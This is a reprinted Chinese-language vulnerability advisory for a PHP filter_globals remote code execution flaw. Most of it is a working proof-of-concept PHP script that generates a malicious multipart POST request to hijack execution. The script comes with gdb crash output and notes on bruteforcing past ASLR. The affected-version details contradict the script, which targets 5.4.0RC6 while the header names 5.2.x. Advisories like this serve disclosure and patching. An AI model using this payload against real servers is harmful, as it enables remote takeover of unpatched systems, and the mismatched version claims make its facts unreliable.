php filter 漏洞,PHP “filter_globals”结构任意代码执行漏洞

发布日期：2012-02-17

更新日期：2012-02-20

受影响系统：

PHP PHP 5.2.x

不受影响系统：

PHP PHP 5.3

描述：

--------------------------------------------------------------------------------

BUGTRAQ  ID: 52065

PHP是一种在电脑上运行的脚本语言，主要用途是在于处理动态网页，包含了命令行运行接口或者产生图形用户界面程序。

PHP在filter_globals结构的实现上存在远程代码执行漏洞，攻击者可利用此漏洞执行任意代码，控制应用程序。

*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Worawit Wang ()提供了如下测试方法：

/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111

(C) Copyright 2012 Stefan Esser

PHP 5.3.9 requires you to know the address of a writable address filled with NULL.

32bit requires you to create a fake 32bit Hashtable instead of a 64bit one

Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000

tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX

better exploit might be possible after deeper research + heap massage

This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,

__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)

at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398

398                    ht->pDestructor(p->pData);

(gdb) i r

rax            0x7fd9583352a0    140571464389280

rbx            0x0    0

rcx            0x8    8

rdx            0x111111111111111    76861433640456465

rsi            0x7fd95a077b08    140571495070472

rdi            0x7fd9583352a0    140571464389280

rbp            0x7fff75c47ae0    0x7fff75c47ae0

rsp            0x7fff75c47a80    0x7fff75c47a80

r8             0x7fff75c47bc8    140735169199048

r9             0x1    1

r10            0x6238396661373430    7077469926293189680

r11            0x7fd962f4c8e0    140571644840160

r12            0x7fd966b91da8    140571708038568

r13            0x0    0

r14            0xffffffff00000001    -4294967295

r15            0x7fd964b10538    140571673953592

rip            0x7fd959ca5f9d    0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert> eflags         0x10206    [ PF IF RF ]

cs             0x33    51

ss             0x2b    43

ds             0x0    0

es             0x0    0

fs             0x0    0

gs             0x0    0

(gdb) x/5i $rip

=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert>:    callq  *%rdx

0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert>:    cmpl   $0x8,-0x3c(%rbp)

0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert>:    jne    0x7fd959ca6031 <_zend_hash_index_update_or_next_insert> 0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert>:    mov    -0x18(%rbp),%rax

0x7fd959ca5fad <_zend_hash_index_update_or_next_insert>:    mov    0x10(%rax),%rax

(gdb)

*/

$boundary = md5(microtime());

$varname = "xxx";

$payload = "";

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";

$payload .= chr(16);

for ($i=1; $i<7*8; $i++) {

$payload .= chr(0);

}

for ($i=1; $i<8; $i++) {

$payload .= "\x11";

}

$payload .= chr(1);

for ($i=16+48+1; $i<128; $i++) {

$payload .= chr(0);

}

$payload .= "\n";

for ($i=0; $i<1000; $i++) {

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";

$payload .= "aaa\n";

}

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";

$payload .= "aaa\n";

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";

$payload .= "aaa\n";

$payload .= "--$boundary--\n";

echo "POST /index.php HTTP/1.0\n";

echo "Content-Type: multipart/form-data; boundary=$boundary\n";

echo "Content-Length: ",strlen($payload),"\n";

echo "\n";

echo "$payload";

?>

建议：

--------------------------------------------------------------------------------

厂商补丁：

PHP

---

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：